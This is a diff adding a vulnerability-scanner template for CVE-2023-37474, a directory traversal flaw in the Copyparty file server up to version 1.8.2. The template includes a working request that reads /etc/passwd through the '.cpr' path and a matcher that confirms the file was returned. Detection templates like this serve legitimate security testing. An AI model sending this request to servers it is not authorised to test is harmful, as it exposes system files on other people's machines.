Create CVE-2023-37474.yaml

http/cves/2023/CVE-2023-37474.yaml

@@ -0,0 +1,35 @@
+id: CVE-2023-37474
+
+info:
+  name: Copyparty <= 1.8.2 - Directory Traversal
+  author: theamanrawat
+  severity: high
+  description: |
+    Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the `.cpr` subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory. This issue has been addressed in commit `043e3c7d` which has been included in release 1.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
+  reference:
+    - https://github.com/9001/copyparty/
+    - https://www.exploit-db.com/exploits/51636
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-37474
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2023-37474
+    cwe-id: CWE-22
+  metadata:
+    verified: "true"
+  tags: cve,cve2023,directory-traversal,copyparty,unauthenticated
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.cpr/%2Fetc%2Fpasswd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200